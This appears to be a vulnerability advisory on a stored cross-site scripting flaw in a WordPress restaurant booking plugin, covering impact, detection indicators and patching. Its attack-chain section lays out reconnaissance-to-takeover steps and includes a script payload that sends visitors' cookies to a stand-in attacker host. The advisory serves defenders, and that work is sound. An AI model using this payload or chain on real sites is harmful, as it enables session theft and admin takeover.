CVE-2025-11496: 
WordPress vulnerability analysis and mitigation

CVE-2025-11496 is a Stored Cross-Site Scripting (XSS) vulnerability in the Five Star Restaurant Reservations – WordPress Booking Plugin, affecting all versions up to and including 2.7.5. The flaw stems from insufficient input sanitization and output escaping of the rtb-name parameter, allowing unauthenticated attackers to inject persistent malicious scripts. It was disclosed on December 20, 2025, with Wordfence as the assigning CNA. The vulnerability carries a CVSS v3.1 base score of 6.1 (Medium) (Wordfence, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-site Scripting). The rtb-name parameter, used during the restaurant reservation booking process, fails to properly sanitize user-supplied input before storing it and fails to escape it upon output rendering. Because no authentication is required to submit a reservation, an unauthenticated attacker can craft a booking request containing a malicious JavaScript payload in the name field; the payload is then stored in the database and executed in the browser of any user (including administrators) who views the affected reservation page (Wordfence, WordPress Changeset).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user who views the injected reservation page, including site administrators. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions (such as creating rogue admin accounts or installing malicious plugins), and defacement of the WordPress site. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the vulnerable component itself, potentially affecting the broader WordPress environment and its users (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-11496 as of the available data. The EPSS score is approximately 0.074%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the unauthenticated nature of the attack lowers the barrier significantly, as any visitor to a site running the vulnerable plugin can submit a malicious reservation without any credentials (Wordfence, Red Hat CVE).

1. Reconnaissance: Identify WordPress sites running the Five Star Restaurant Reservations plugin (versions ≤ 2.7.5) by searching for the plugin's characteristic HTML elements or using tools like WPScan.
2. Locate the reservation form: Navigate to the public-facing reservation booking page on the target WordPress site.
3. Craft a malicious payload: Prepare a stored XSS payload to inject into the rtb-name field, for example: <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or a payload that creates a rogue admin account via the WordPress REST API.
4. Submit the reservation: Submit the booking form with the malicious script in the name field. No authentication is required. The payload is stored in the WordPress database.
5. Trigger execution: Wait for a site administrator or authenticated user to view the reservations management page in the WordPress backend, causing the stored script to execute in their browser context.
6. Achieve objective: Harvest session cookies, perform actions as the administrator (e.g., install a backdoor plugin), or pivot further within the WordPress environment (Wordfence).

• Network: Outbound HTTP requests from the victim's browser to attacker-controlled domains following admin access to the reservations page; unusual POST requests to the reservation booking endpoint containing HTML/JavaScript tags in the name field.
• Logs: WordPress access logs showing POST requests to the reservation submission endpoint with encoded or raw script tags in the rtb-name parameter; admin-side page loads of the reservations list followed by unexpected external requests.
• File System: Unexpected new WordPress admin accounts or newly installed plugins/themes not authorized by legitimate administrators (potential post-exploitation artifacts).
• Database: Reservation entries in the WordPress database (wp_rtb_bookings or equivalent table) where the name field contains <script>, javascript:, onerror=, or other XSS indicators.

Users should update the Five Star Restaurant Reservations – WordPress Booking Plugin to a version beyond 2.7.5, which includes the fix for improper input sanitization and output escaping. The patch is available via the WordPress plugin repository changeset. As an interim workaround, site administrators can disable the plugin until an update is applied, or restrict access to the reservation submission form. Regularly auditing reservation entries for unexpected script content is also advisable (WordPress Changeset, Wordfence).

The vulnerability was reported and assigned by Wordfence, which published it in their threat intelligence database. No significant broader media coverage, notable researcher commentary, or social media discussion beyond automated CVE tracking feeds has been identified for this vulnerability.